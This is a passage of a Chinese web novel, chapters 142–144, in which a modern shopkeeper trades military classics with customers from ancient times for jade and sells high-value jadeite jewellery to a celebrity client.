龙傲天拱手作揖：“多谢萧老板。小林将军言之有理，耗着不是办法，我们打算这几日突袭，早日结束战争尽快收回失地。” 萧妧妧不知道说什么，只再三提醒他小心啤酒瓶炸开伤着自己人。 龙傲天不死心，又问：“萧老板当真不卖火器？” 萧妧妧翻白眼：“有复合弓用你就谢天谢地吧。” 她倒是想卖，系统不允许就算了，她也找不到渠道进货啊。 “不过我看你那里风挺大，这要一把火丢过去，火势小不了。”萧妧妧伸着脖子观望片刻，小声嘀咕道。 龙傲天笑道：“小林将军也这么说，最好能烧了对面的粮草。” 萧妧妧眼珠子一转，想起什么似的，一拍脑门：“来都来了，不如买点核武器？” 龙傲天茫然不解：“和雾气？” 萧妧妧请他稍等，扭身从货架翻出一摞兵书。 “只要其中一本，你的小林将军就能死心塌地跟你。” 兵书对将领而言意味着什么，萧妧妧通过申明月算是彻底看明白了，她不信龙傲天能忍住这个诱惑。 果然，龙傲天面无表情接下一本孙子兵法，翻了几页粗读几遍，英气面容露出了惊为天人的神色。 萧妧妧得意微笑，一字一顿道：“这就是我说的核武器。” 【作者有话说】 感谢读者“虫子太多好可怕”,灌溉营养液 +1 感谢读者“大西瓜”,灌溉营养液 +2 感谢读者“eximious~chyx”,灌溉营养液 +1 感谢读者“四方”,灌溉营养液 +1 感谢读者“虫子太多好可怕”,灌溉营养液 +4 142 第142章 ◎回头客◎ 龙傲天浅浅翻了几页,整个人如痴如醉，眼神拉丝。 萧妧妧双手环胸，踏实了。 不得不说，古代人的眼光相差无几,也就龙傲天不是姑娘家,对玛瑙玉髓没兴趣。 “新品上市,不要9999不要1999,我给你打骨折。” 龙傲天紧攥那本孙子兵法不撒手，好半晌才抬头问：“骨折？什么骨？” 萧妧妧撇嘴：“不是要你的骨头,金银珍珠绫罗绸缎也不要，一本换一箱翡翠玉石,怎么样？” 担心龙傲天钻空子，萧妧妧特意比划了一下,指定龙傲天上回用来装金条的那种箱子。 龙傲天双眼放光，呼吸急促：“当真？” 萧妧妧莫名停顿,仔细端详他的神色。 是不是要得太少了？ 萧妧妧迟疑,龙傲天瞧出来她神色不对,赶忙接话：“那就如此说定了！一本兵书换一箱翡翠玉石。” 萧妧妧一噎,好一会才警告道：“少拿便宜货糊弄我,东西不满意我可不卖。” 龙傲天神色倨傲：“萧老板对我也太不放心了，寻常货色岂能入我的库房，又如何配得上一本兵书。” 萧妧妧抽了抽嘴角，他最好不是画大饼。 龙傲天说完,急忙把一摞书铺开，开始了艰难的选择。 萧妧妧提醒他注意时间,正要去离开小卖部,结界大白墙荡起波纹,柳如烟抱着一个有十层窄抽屉的柜子，吭哧吭哧闯了进来。 她哎呦着小跑到桌子边，膝盖那么高的木柜子咚一声搁在桌上，捶着胳膊一副累得不行的样子。 萧妧妧想起托她找便宜货的事，不着急离开了，凑到桌边打量木柜子。 不看倒罢，一看才发现，这柜子可不简单。 与其说是柜子，其实更应该叫漆器首饰盒，不过比起放在桌面的妆奁，眼前的这个大了几倍不止。 黑漆做底，手工绘制红色牡丹花叶纹，顶部镶嵌螺钿，每层抽屉挂着金色小锁，繁复精致又不失大气。 不愧是宫里出来的东西，一个首饰盒价值大几十万呢。 萧妧妧忙着欣赏漆器首饰盒，柳如烟瞅了瞅啃指甲一脸为难的龙傲天。 “萧老板，我选三本，只我手头拿不出那么多翡翠，可否先送一箱来，剩下两箱欠着？” 龙傲天苦恼地想，到底是准备不够充分，到头来买东西还得靠赊账。 萧妧妧望了望摆桌上到她胸口位置的首饰盒，略做思考，爽快答应。 龙傲天喜出望外，三本兵书揣进怀里，“还请萧老板体谅，这些书为我多留几日。” 萧妧妧温柔微笑：“那你可要动作快点，它们很抢手的，我手里每本一份，绝版、限量，不返场不加单。” 龙傲天一听浑身一凛，恨不得全部抱走，他重重点头，把事情记在心里。 恋恋不舍地看了看剩下几本书，龙傲天乐颠颠抱着自己精挑细选的兵书离开。 萧妧妧等龙傲天人影消失，在账上记下三笔，扫一眼缺了哪些，转头打开柜台抽屉，找出对应的那一摞书，随机抽出一本补上。 “萧老板嘴里没一句真话，哪里就限量了，”柳如烟啧啧两声，凑过来打量：“这是什么书？我看他像见着宝贝似的。” 萧妧妧：“兵书，讲谋略的，教人怎么打胜仗的。” 柳如烟迷茫的哦了一声，“很珍贵吗？” 萧妧妧思索几秒：“乙之蜜糖，彼之砒霜。” 柳如烟转了转眼珠子，扬声道：“那我也买两本。” 萧妧妧笑：“你不会是凑热闹买的吧？” 柳如烟骄傲抬头：“怎么？就不兴本宫上进吗？” 萧妧妧耸肩：“上进的公主殿下，您看上哪本了呢？” 柳如烟知道吃喝玩乐，哪知道怎么挑兵书啊，她记着龙傲天选走的三本，便从其中挑出来两本。 “就这两本吧，如何付钱？” 萧妧妧多看一眼首饰盒，试探道：“要不，给你算便宜点，比刚刚那个男的便宜一半？” 柳如烟柳眉倒竖：“什么话，本宫付不起钱吗？” 萧妧妧耸肩摊手，可不是她想当奸商，是顾客主动要求。 她当即改口：“一箱翡翠。” 同样，萧妧妧比划了一番箱子的尺寸，并对送来的翡翠提出要求。 柳如烟闻言不置可否，只摆弄两本书，看看它到底哪里宝贵，头也没抬地问：“你说，我若是送给皇兄，他会喜欢吗？” 萧妧妧不确定地说：“带兵打仗的人爱得要死，当皇帝的人，至少不会讨厌吧？” 柳如烟想了想觉得挺有道理，娇俏脸蛋扬起灿烂笑容：“正好，我便手抄一本，送给皇兄当生辰礼。” 顿了顿，她又说：“一箱翡翠就一箱翡翠，我当多大的事呢。” 柳如烟暗暗决定，要是哄得皇兄高兴，她就要三箱、不！十箱翡翠，连夜送进她寝宫。 兵书搁在一旁，柳如烟回到方桌旁，拍了拍plus版首饰盒。 “喏，答应给你找的便宜货。”柳如烟撅嘴吐槽：“你要找那种不寻常的物件我倒是能弄来许多，那种不上不下的东西，可折腾了，我带着丫鬟差点把库房翻了个底朝天。” 柳如烟打开话匣子，根本憋不住，一屁股坐下来叭叭叭个不停。 “你只要翡翠吗？我那里还有许多好玩的东西呢，幸亏这次去库房看了一眼，你都不晓得，那些奴婢胆大包天，竟敢擅自报损，把我那些想不起来的宝贝换出去。” 柳如烟回去忙了一宿，半宿找东西，半宿管教奴仆。 “你看，这里有一半是他们想昧下的，我全拿了来。” 奴婢们自有一套技巧，不挑主子喜欢的，也不挑贵重的，旁的不打眼的东西或者主子看不上的东西，他们才会等一等，等主子彻底想不起来再找个由头报损，自己拿出去倒卖。 搜来的物件摆成排，柳如烟一瞧，刚好符合萧妧妧所谓的“普通”。 正好已经报损了，有人背锅，她索性一并带过来。 萧妧妧一边端详它们，一边回应柳如烟，“给不给你说了算，你要是硬塞给我，我也不会拒绝就是了。” 萧妧妧打开第一层抽屉，明黄绸布铺垫，一只只镯子紧挨着排开，一共二十只，每只镯子里放了个同块料子雕琢的玉佩或者平安扣。 “……也没有很普通。”萧妧妧粗略扫一眼，愣了片刻。 种水什么的不必说，肯定不差，颜色虽比不上帝王绿帝王紫，但也有自己独特的风格。 比如她手里的这只冰透飘花，玻璃种，水头好，整体呈淡淡绿色，深绿飘花神似缥缈祥云，非常漂亮。 柳如烟所谓的普通便宜货，放在萧妧妧这里的翡翠市场上，已经算很不错的高货。 就说手上这只，低于300万拿不下。 而配套的飘花玉佩观音有着同样种水，匠人做了适配飘花的设计，整体看上去精致又大气，少说100万。 再看旁边那只冰冰透透的冰紫飘花，200万起步。 萧妧妧一只只看下来，300万、200万、150万、400万、600万…… 她沉默着打开第二层，依然是手镯，水墨飘花、冰飘翠、春带彩、黄加绿…… 第三层则是单圈大珠手串，颜色从深到浅，种水依然表现不俗。 第四层是多宝串，浓彩淡彩应有尽有，什么马卡龙多巴胺莫奈，各种风格都能找到对应的，看得她眼花缭乱。 萧妧妧渐渐接受了它们“普通”的设定，最高不过7、800万，便宜的一百来万，比起千万级别的珠宝，确实算得上普通。 她粗略扫一遍，拉开下面几层抽屉。 戒圈、戒指、长链、塔珠链、手镯手串、挂件、玉牌……种类不一而足，只看种水颜色，它们称得上优秀。 萧妧妧一一合上抽屉，深呼吸。 柳如烟瞄一眼她的脸色：“不满意？” 萧妧妧闭了闭眼：“太满意了。” 这一盒子里没有萧妧妧看不上眼的东西，除了玻璃种就是高冰种，要论价格，最少在百万以上，妥妥算高货。 柳如烟放心了，屁颠屁颠去院子里瘫着看短剧。 萧妧妧摇摇头，抱起漆器首饰盒回古董铺。 店铺里顾客来来往往，流连忘返，多数是年轻人，他们惊叹于老物件的精致，也惊叹于它们的价格。 萧妧妧抱着首饰盒进店，孟甜甜见状过来扶了一把。 正好，首饰展示柜清走了一部分顶尖好货，只留下几件充场面，空出的展示位勉强能塞下二三十只手镯。 萧妧妧刚拉开一层抽屉，旁边就传来此起彼伏的哇声。 原来不知道什么时候，大家惊艳的目光放在漆器首饰盒上，继而看到她摆出来的翡翠手镯，双眼直接放光。 “店铺上新，暂时只展示，鉴定证书到了正式开售。”萧妧妧趁机打广告。 “老板，它们大概需要多少钱啊？”软糯女声吞吞口水，怯怯提问。 萧妧妧：“差别还挺大的，像这只高冰种春带彩，紫粉翠绿双色，54圈口胖圆条，新上市打完折要660万。便宜的比如旁边的水墨飘花，150万能拿下。” 说出价格没多久，耳边又是一阵哇声。 有人曲起胳膊捣了捣同行的朋友，咬耳朵道：“你不是翡翠世家吗？快去看看，真的假的啊，600多万吓死人。” 被朋友捣的眼镜男孩脸颊涨红，眼神飘忽不敢看过来。 萧妧妧笑笑，在柜台上铺了绒布垫子，春带彩和水墨飘花一起放在上面。 “没关系，随便看。谢谢你们来店里支持我。” 几个年轻人腼腆挠头，忐忑问：“真的可以摸吗？” 太贵了，他们只是趁暑假来南市旅游的穷学生，磕了碰了赔不起。 “别把它想的太脆弱，看看而已。”萧*妧妧勾起一只镯子演示：“喏，我教你们怎么拿才不会摔。” 几个年轻人彼此对视一眼，大胆靠近首饰展示柜，脑袋凑在一起欣赏价值600万的春带彩。 家里做翡翠生意的眼镜男孩看得尤其认真，端详翡翠的动作熟练，一看就学过。 他看得仔细，甚至高举起对着阳光分辨。 “怎么样？真值660万嘛？”年轻女孩低声追问。 眼镜男孩又看了一会，轻轻点头：“东西是真的，如果圈口再大一点，至少700万。” 话落，眼镜男孩的好朋友们嘶嘶吸气，然后齐齐转头紧盯春带彩。 有人按捺不住，伸出一根手指去触摸：“你拿稳了啊，我蹭蹭600万。” “等会等会，我拍张照，我的天，这只镯子值我家一套房。” 萧妧妧忍俊不禁。 听到店铺老板的笑声，大家又一次脸红，看看手镯，又偷看一眼萧妧妧。 真是看不出来，和他们年纪相仿的女孩子，竟然是这家古董店的老板。 “还想看哪个？要不看看这串帝王绿手串吧，上千万呢，这只白月光也不错，500多万左右。随便看，买不买都没关系。”萧妧妧热情招呼。 “上千万！”*5 几个年轻人低呼出声，手都不知道怎么摆。 眼镜男孩俯身去看，声音轻飘：“确实是帝王绿。” 他们当然听说过帝王绿的名头，但谁也没见过。 想到它的价值，没一个人敢拿出来，要不是萧妧妧热情邀请，他们甚至不敢凑太近。 “萧老板，戒圈摆哪里合适？展示柜放不下了。”这时，孟甜甜突然插话。 萧妧妧扭头一看还真是，店里唯二的首饰展示柜几乎塞满。 没办法，她只好把漆器首饰盒放在柜台上，客人有需求再拿货也不迟。 “萧老板，有奇怪的人在院子里。” 刚安排好它们，孟甜甜拍拍她胳膊，提醒她看向门外。 萧妧妧侧身扭头，便看见高挑女人一身休闲装，挎着爱马仕，姿态随性的等在院子中。 注意到萧妧妧看过去，她勾下墨镜，抬手打招呼。 “甜甜，她不是奇怪的人，是我的回头客。” 【作者有话说】 感谢读者“我也不知道我叫啥”,灌溉营养液 +1 感谢读者“又是攒不了文的一天”,灌溉营养液 +1 感谢读者“四方”,灌溉营养液 +1 感谢读者“虫子太多好可怕”,灌溉营养液 +1 感谢读者“陈小晓”,灌溉营养液 +5 143 第143章 ◎没有系统她可怎么办啊◎ “快看,院子里那个是不是高鹭啊？” “不能吧………等等，她摘墨镜了，真的是高鹭！” “哇，高鹭来买翡翠吗？我看帖子里有说过。” 熟悉面容显露,几个小年轻躁动不已,叽叽喳喳不停。 萧妧妧在窃窃私语中出门,迎接她的回头客,高鹭。 “抱歉啊，没跟你打招呼提前过来了,看到你发的图片一直心痒痒，正好赶在进组前过来看看,现在方便吗？” 高鹭扫向店里的几个举起手机的年轻人，微笑点头。 萧妧妧：“方便。” 她作势要请高鹭去前面小卖部坐坐,几个年轻人壮着胆子上前要合影。 高鹭这次没带经纪人，萧妧妧正犹豫要不要出面当恶人阻止一下,高鹭不做犹豫,爽快答应了。 满眼写着清澈愚蠢的大学生们雀跃不已,一窝蜂涌来,站在高鹭身后。 照片是萧妧妧拍的,几个年轻人连声道谢，又祝福高鹭买到满意的翡翠，抱着照片欢快离开。 孟甜甜见状迅速关上院门暂停营业。 店里没人，萧妧妧便把人领进古董铺,请她先坐下。 高鹭下意识看向桌子中央，那里换了一套青花瓷茶壶,好奇打听：“上次见过的那套紫砂壶呢？已经卖出去了吗？” 萧妧妧忙着找东西,头也没抬的回应：“对,您买完镯子没多久就卖出去了。” 高鹭面露可惜，随即抿一口茶，眼睛到处打量。 才一段时间没来，店铺又变了个样子，添了许多东西，也少了许多东西。 “我记得上回有个很大的屏风，那个也卖出去了？” 萧妧妧：“是啊，前几天的事。” 高鹭啧啧出声，古董铺的生意可真不错。 趁萧妧妧找东西的工夫，高鹭起身来到首饰展示柜，粗略扫一眼，果然，连翡翠也多了许多。 “萧老板，你的渠道好广啊，这么好的帝王绿都有。” 高鹭忍不住扒拉玻璃橱窗，伸手去拿帝王绿手串。 她现在虽然买紫翡多，但大师可没说绿翠克她，遇到好品质的翡翠依然会心动。 萧妧妧端着托盘走来，里面放着那条帝王紫塔珠链。 高鹭暂且放下帝王绿手串，转而捡起帝王紫。 “漂亮，真漂亮！这件很少见啊。” 东西摆在眼前，高鹭下一秒露出了惊艳神情，她迫不及待摘了墨镜，比划着戴起珠链。 萧妧妧就喜欢识货的顾客，东西好坏一眼便知，根本不需要她王婆卖瓜一般，拉着顾客自吹自擂。 “高鹭姐的眼光名不虚传，这件帝王紫塔珠链最近刚到，前几天买走双面绣的老收藏家也看中它了，我报高了八千万才打消人家主意，特意给您留下。”萧妧妧吹牛脸不红气不喘。 高鹭斜眼看过来，笑着打趣：“真的假的？萧老板可不要骗我。” “您看看它的品质就知道我说的是不是假话了。”萧妧妧做出请的手势。 高鹭收回视线，拿着帝王紫塔珠链走到门外。 “阳光下更好看呢。”她赞叹，“上回在你这里买的手镯就很不错，我拍古装戏戴一点不违和。说实话，这条链子比上次那件好，它起刚了，种水特别好，而且颜色特别均匀浓郁。” “这么好的东西，确实会有人想抢的。”高鹭感叹。 萧妧妧一脸如此的点头附和：“刚到手的时候，我想过送去佳博的专拍，您知道的，卖高价还是得拍卖行。” 高鹭回头看她：“萧老板要开专拍？是哪方面的？如果有翡翠记得告诉我一声。” 萧妧妧微笑：“准备开呢，东西的话，准确说是全门类，有翡翠。等时间定下了我再给您消息。” 高鹭应声，继续端详帝王紫塔珠链，片刻后回到店内测量珠子直径。 “这串一共36颗珠子，最大珠直径达到18mm，每级直径的差距控制的非常好，直径公差±0.1mm，色差几近于无，所以您肉眼看会觉得过渡流畅。 您见多识广，肯定知道这件尺寸在市场上不多见，属于收藏投资级别。” 高鹭放下卡尺，连连点头认同。 “流畅不流畅一眼能看出来，这一点确实不错。关键是这36颗珠子种水颜色保持一致，很难得。” 看照片的时候她就喜欢得不行，现在摸到实物，从颜色到尺寸再到种水，一番挑剔后，高鹭发现自己找不到不满意的地方。 “萧老板，这件你开多少？”高鹭几乎是立刻做决定要买下它。 萧妧妧故作思索，实际在等系统。 价格弹出来后，她才慢悠悠道：“2亿。” 高鹭微愣，询问的眼神传递过去，萧妧妧接收讯号后，肯定地点头。 高鹭垂眸，不停摩挲帝王紫，她面上保持淡定，内心冒出占了便宜的喜悦。 同品质的翡翠落在其他翡翠商手里，开价2.5亿都算好讲话，想以2亿价格拿下少说要费一番口舌。 萧妧妧直接给出2亿的价格，比她预想的低了许多，对比手上的货而言，2亿真不是瞎开价，它值得。 但没人会先折扣多的，哪怕知道它价格适中，高鹭仍旧试着讲价。 “1.8好不好？我都是老顾客啦，下回有好货我肯定要来的，以后咱们经常来往，便宜点嘛？” 萧妧妧抽了抽嘴角，她是没想到，影后为了还价会向她撒娇。 “1.8不可能，不过高鹭姐要是愿意帮个忙，我可以降到1.95亿。” 高鹭目光闪烁，便宜五百万也很不错。 “帮什么忙？”她迟疑问。 萧妧妧苍蝇搓手，笑得腼腆：“对您来说应该不难，就是打打广告，发发朋友圈之类的，如果能有新客户来最好了，如果新客户是遇翡的老客户，那就更好了。” 高鹭听到发朋友圈打广告有种果然如此的念头，这太寻常了。 普通人消费尚且会被商家用各种小优惠引导点赞收藏发朋友圈，对于他们这样高曝光的文艺从业者来说，但凡需要自己露面买东西，少不了提出合照或者打广告的要求。 涉及商业合作的就不提了，平日里消费遇到自己真心满意的东西，大家很好说话，非常乐意帮忙。 高鹭听到前半句，有种妥了的安稳感，打广告而已，省下500万很划算。 听到后半句，高鹭迟钝意识到什么。 “赵老板还是张老板找你麻烦了？你要和他们打擂台啊？”高鹭忍不住吃瓜。 古董铺买到假货这事闹上热搜，她有所耳闻，看到平安扣照片和视频，高鹭就知道这是让人碰瓷了。 联想到这桩事，高鹭几乎笃定遇翡的人找了过来。 萧妧妧笑笑：“是啊，赵老板可威风了，威逼又利诱，想花小钱买走那串帝王绿，我当然不能同意了。 这不，我也得反击一回，不然以为我好欺负呢。” 高鹭深以为然地点头，事情没发生，她坚信可以和谈，谁都不想多个敌人，然而对面有了行动，高鹭便觉得没什么可谈的，以她的脾气，势必打得对方毫无还手之力。 “这事说到底是我引起的，你放心，打广告的事我包了。 不是我自夸，在我们这个圈子里，大家都知道我高鹭玩翡翠有一手，很愿意听我推荐。” 说着话，高鹭动作干脆，把她的爱马仕往柜台上一搁，掏出手机准备拍照。 “我挑几个漂亮的拍，你看这几只怎么样？哇，上面这只春带彩就很不错。” “对了，那两只白月光拿出来一起拍，阿文哥小女儿考上大学了，他打算给女儿奖励一只翡翠来着，最近刚好找我问了几句，我推荐的就是白月光。 你知道阿文吧？何文，演小混混很有名的那个。” 萧妧妧傻愣愣点头，她当然知道何文，视帝。 “正好，这两个白月光品质都不错，我直接发给他吧，其他几个我发朋友圈。对了，帝王绿全部拿出来，摆在一起看很不得了。” 高鹭风风火火，胳膊一挥指挥起来，萧妧妧看得一愣一愣，回过神后忙拉开柜台挑拣她看中的那几款。 拍完白月光和天空蓝，高鹭二话不说，优先发给最近打算买翡翠的圈内好友。 又拍了帝王绿帝王紫、龙凤对镯等，分别发送给同样玩翡翠的朋友。 “萧老板照顾照顾我的朋友，别开价太狠啊，都是老朋友了，说出去我会没面子的。”高鹭一边发消息，一边和萧妧妧温声细语说话。 钱可以少赚一点，气必须出，如果能抢光遇翡的大客户，舍去几百万不亏，转头就能赚回来。 萧妧妧重重点头，爽快应下，“您在我这里买了两回，最了解我的，我从不瞎开价，不说行业内最低吧，肯定不会是最高。” 瞎开价虽然能赚一笔大的，但损失的是店铺信誉，不利于长期发展。 萧妧妧起初是为了拉拢客户主动让利，现在更多是为了自己的名声。 想成为知名收藏家，名声不说多好，至少不能和坑蒙拐骗、货次价高有牵扯。 高鹭默默赞同，这倒是，能让她心甘情愿打广告甚至私聊好友推荐，除了500万的让利，更多是觉得实惠。 这么一想，高鹭忍不住对比前几年在遇翡买东西的状况。 那些翡翠商一听说是女明星买东西，都说她们赚钱容易，一个个张口就来，价格高的不得了。 要不是东西好，她绝对不费那个心思讨价还价。 不像萧老板这间铺子，贵是贵了点，架不住东西好啊，综合来看，在翡翠行业内属实算得上货真价实，没有太多水份。 “萧老板这么年轻，今年多大了？看起来刚大学毕业呢。” 话题过于跳跃，萧妧妧愣了愣：“虚岁24了，今年刚拿到毕业证书。” 高鹭点点头，难怪，年轻人开店和老油条做生意就是不一样，实在。 高鹭笑眯眯，越看帝王紫塔珠链越满意，道：“你先帮我把东西包起来，我再拍几张发朋友圈。” 她刚俯下身，动作顿了顿：“对了，萧老板，这几串帝王绿怎么卖？价格合适的话，我带一串走。” 萧妧妧闻言，嘴角情不自禁咧开。 等系统估价完成，她灿烂的笑容僵了几秒，而后脆生生回：“帝王绿手串便宜些，12mm的直径，一串3000万。” 高鹭念叨着三千万，又对比一下实物，果断开口：“三千就三千，这串我要了，日常戴挺合适。” 萧妧妧不着痕迹地轻舒一口气。 没有系统她可怎么办啊。 帝王紫塔珠链售价1.95亿，系统估价1.7亿，而她给的估价是1.3亿左右。 再说帝王绿单圈手串，12mm直径，系统估价2200万，她的估价在八九百万左右，换个挽尊一点的说法，有一千万。 即便如此，差距也太大了点。 又翻车了。 萧妧妧多看一眼日期，幸好临近月底，估价次数剩余不多，但也能撑得住。 否则照她的眼光来，亏大了。 萧妧妧麻利打包装袋，高鹭则忙着拍照片，嘴里念念有词。 “这么看起来，冰飘花挺好的。” “这件也好看的，适合你们年轻女孩子。” “你知道最近很红的那个女明星吗？演狐狸精的那个，她前段时间买了个200万的飘花，一看就让人坑了，她买的那个没你这件好。” “我跟你说，不止女明星，圈里很多大哥都很喜欢翡翠，他们喜欢买观音和貔貅，倒是不买镯子，不过他们不像我是老玩家，你那些顶尖货他们不敢买。” “你手里要是有挂件什么的，可以试试。”高鹭建议道。 萧妧妧听八卦听得兴起，高鹭说起挂件，她迟钝好久才想起来，这东西她还真有，刚到手，数量不少呢。 她噔噔噔跑到柜台边，拉开漆器首饰盒第一、四层。 “是这种价位的挂件吗？” 便宜的一百出头，贵的小几百万，全是高冰种和玻璃种，厚度基本在6mm以上。 高鹭不以为意地扭头看过去，不经意一瞥，目光定在了首饰盒中。 “哇，你怎么不说还有挂件啊，你这几件可真不错。” 她不由自主放下手机，目光灼灼地走到柜台边，捡起几枚挂件放在手心里对比。 萧妧妧笑容越发轻松。 【作者有话说】 感谢读者“一觉睡到自然醒”,灌溉营养液 +50 感谢读者“eximious~chyx”,灌溉营养液 +1 感谢读者“哈哈哈哈哈”,灌溉营养液 +1 感谢读者“虫子太多好可怕”,灌溉营养液 +1 感谢读者“四方”,灌溉营养液 +1 感谢读者“我也不知道我叫啥”,灌溉营养液 +1 感谢读者“謝”,灌溉营养液 +10 感谢读者“eximious~chyx”,灌溉营养液 +3 感谢读者“婷婷”,灌溉营养液 +1 144 第144章 ◎嘿嘿，小金库又丰满了◎ “您随意看,都是刚到的新货。” 萧妧妧又拉开下面几层抽屉，一一介绍：“对了，有戒圈，也有无事牌,您喜欢的帝王绿帝王紫没有,不过种水没得挑。” 高鹭不知道听没听,自顾自欣赏起来,捡起一个又一个比较。 “福瓜不错，玻璃种的呢,我侄子要结婚，刚好当新婚礼物,包起来。” 高鹭买翡翠特别干脆，尤其挑这些百来万左右的便宜货。 萧妧妧是真羡慕了,她现在可舍不得随手买个几百万的小东西当礼物送人。 “好，谢谢高鹭姐支持。福瓜给您算便宜点,110万,加上帝王绿手串和帝王紫,一共这个数。这已经是最低折扣了,我再给您搭珍珠耳坠当礼物吧？” 萧妧妧在计算器上按下一串数字,推给她看。 高鹭瞄一眼，道：“好啊，珍珠我也喜欢的，我自己挑。” 说着,她在另一边放满耳坠发簪的柜子里挑起来。 她挑出一对适合她脸型的大直径珍珠耳饰，交给萧妧妧后,一拍脑门,划开手机屏幕继续拍照。 高鹭对自己答应的事格外认真负责,拍了十几张照片，挑选出满意的又给萧妧妧看一眼，没有问题才发朋友圈。 而且连发两条，顺带炫耀了自己新买的帝王紫塔珠链。 意外的是，赵老板第一时间点赞评论，夸赞高鹭眼光好，并询问她哪天有空去店里坐坐。 高鹭笑了笑，回复的牛头不搭马嘴：最近喜欢不破斋的货，一下子买了好多，赵老板加油啊，有好货我会去的。 回复完，高鹭撇撇嘴对萧妧妧吐槽：“真看不出来，赵老板这么阴险，坑我翡翠的时候没见他手下留情。” 顺嘴一秃噜，高鹭就想起赵老板联合其他几家，花五千万买她七千万入手的帝王绿，讥笑一声，灭掉屏幕。 高鹭离开的时候，带走了三件翡翠成品，留下了2.261亿，顺便打了个广告。 萧妧妧抖了抖支票，双眼晶亮。 嘿嘿，小金库又丰满了。 萧妧妧马上掏出手机给许年华打电话，铃声响了不到几秒，院子里传来动静。 “别打了别打了，我这不来了嘛。” 说曹操曹操到，刚想找人，许年华自己送上门来。 许年华提着公文包进店，拉开包，抽出厚厚一本图录递过来。 “我来送图录和邀请函，马上要办预展了，地方还是老地方，有空来看看啊。” 萧妧妧莞尔一笑，接过册子翻起来，“这期秋拍你们主推哪件啊？” “这次秋拍是综合性大拍，藏品总量有2000件呢，什么瓷器玉器家具珠宝翡翠都有，要说主推的话，得具体到小分类……”许年华侃侃而谈，说到一半突然停下：“萧老板感兴趣吗？有古董，数量还不少呢。” 萧妧妧暗暗咋舌，上次参加拍卖会好像只有几百来件吧，秋拍竟然有2000件之多，难怪有钱人都不亲自到场，这要全程等下来，屁股坐烂了。 “确实感兴趣，预展我会去的。”萧妧妧笑道。 许年华见她表情淡淡，只当她在敷衍，转而问：“对了，刚刚打电话是不是有什么事啊，正好我在这，一起说了我给你办。” 萧妧妧晃了晃厚实的藏品图录：“正想问问您秋拍的事，想看看图录呢，刚打过去，您就来了。” 许年华一听，摸着后脑勺咧嘴笑。 他主动上门推销和萧妧妧主动问起不是一回事，前一秒听到她说感兴趣，可能出于客套，听过就算。 后一秒这句话不一样，至少说明她有参加的念头。 许年华打起精神：“那您可一定要来，这种综合性大拍机会难得，您要是有看中什么东西，提前给书面投标，这种一般用在冷门的藏品上，避免出现高溢价的情况。” 萧妧妧一一记下，许年华这时又提了一句：“对了，您之前送拍的两件东西就在这里。” 她随手拨了拨册子，油墨香气扑面而来，实在太厚了，根本找不到她送拍的两件东西，遂作罢。 许年华说完正事便离开，孟甜甜大约是去忙自己的事了，院子里只剩下她和柳如烟。 萧妧妧见无事可做，浑身轻松，捧着图录躺在柳如烟旁边的椅子上翻看起来。 “萧老板！冶金改良技术怎么卖，我要买它！” 屁股刚碰上坐垫，萧妧妧来不及喘口气，申明月一手平板一手资料，兴奋地跑来。 柳如烟吓得一哆嗦，眼皮子掀起瞄一眼，翻了个身，继续傻笑着追剧。 萧妧妧叹口气，起身。 “这可不便宜。” “……有多贵？”申明月吞了吞口水，兴奋劲消散大半。 萧妧妧问道：“升州城内或者附近有金矿吗？” 申明月垂眸思索，半晌，缓缓摇头。 萧妧妧：“那就不适合你，比起买冶金改良技术，不如买找金矿的法子。” 申明月挠头，一脸茫然：“找到金矿怎么办？” 萧妧妧理所当然的语气：“金矿在哪里自然是打到哪里啊，不然这便宜不就被别人占去了？我记得在你们古代，这类金属矿私采是大罪吧？” 申明月脑壳疼，怎么好端端发展到攻城略地了，她明明只想要一个冶金技术来着。 萧妧妧见她面露迟疑，笑道：“冶金技术确实很贵，每年至少分我一万五千两黄金，你买回去用不着，反而浪费钱。不着急，有需要再说，东西又不会跑。” 高价卖给龙傲天不止因为技术，还有她提供金矿的消息以及寻找金矿的方法，所以每开采一年，她就能得到一年三万两金子的分成。 到申明月这里不一样，只卖技术的话，三万两黄金未免太贵，而且她手里没有矿，萧妧妧主动砍半。 申明月听清价格倒吸气，一万五千两黄金，还是每年！ 确实贵。 “谢谢萧老板，我不需要了。”申明月像丢烫手山芋似的，赶紧把资料还回去，“对了，萧老板，我想多买点琉璃餐具，我发现那些杯子和盏什么的最受欢迎，昨儿开业第一天，库存下去一半多。” 萧妧妧早有准备，往小卖部一指：“东南角最里面那个货架，这两天刚到的新货，随便挑。” 申明月高兴的唉了一声，扭头往小卖部跑，“我拿翡翠抵。” 申明月一溜烟没了影，萧妧妧摇摇头往躺椅上倒去。 没等坐下，她又突然想起来，铺子里大半货架空置着，急需填满。 空着不好看，萧妧妧慢一步跟了进去，拆了几袋米面粮油布匹零食放上去充数，等农具送来后，货架陈列会更丰富。 忙完杂活，萧妧妧确定无事可做了，拍拍手，满意叉腰。 大家对粮食的需求越来越多，这么下去可不行，她得把粮食销售许可证办下来，到时候在店里多囤些，反正有小卖部做遮掩。 萧妧妧把这事写上日程表，活动着肩颈回院子中。 拿起躺椅上的宣传图录，缓缓坐下，萧妧妧发出舒坦的喟叹，乐滋滋翘起脚，兴致勃勃挑选有眼缘的藏品。 就算要砸钱买知名度，她也希望挑个喜欢的、昂贵的、有名气的藏品砸。 说来也巧，各大拍卖行陆续开启秋拍，国内集中在中秋前后，国外两个知名大拍卖行稍晚些。 这一两个月内，藏品如雨后春笋般冒出来，萧妧妧不止要关注佳博，国外拍卖行她顺带一起留意。 要不是脸皮薄，萧妧妧挺想咨询一下许年华，怎么拿到国外几家拍卖行的纸质版图录与邀请函。 翻看三四页，萧妧妧渐渐入神，隐约知道许年华为何答不出她的问题。 瞧，这件有参展记录，那件有文献佐证，翻开后面几页，某某家族旧藏几个字样横在那里。 萧妧妧嚯了一声又一声，瞧着都挺重量级的。 她随手又翻了几页，十分兴趣已经减少到三分。 萧妧妧猛然发现，送拍简单，想要在千百件藏品里找到自己心仪的目标，太难了。 她根本不会看图录。 萧妧妧哀嚎一声，啪一下合上图录，蛆似的在躺椅上蛄蛹。 实在不行，就只能靠系统估价了。 但是藏品数量众多，估价2000次太扯了，还怎么做生意？ 店里尚有一堆没能标价的翡翠珠宝等她安排呢。 蜷缩在躺椅上的萧妧妧鼓着脸颊，打算歇一会就去虚心求教许年华，希望看在那两件福豆的份上伸出援手。 “萧老板。” 萧妧妧忽然觉得肩头被什么戳了一下，没一会，柳如烟做贼心虚的气音低低响起。 她懒得动弹，有气无力地问：“怎么了？” 回答她的不是柳如烟，而是门口的咚咚咚敲门声。 萧妧妧一愣，支起脑袋望过去。 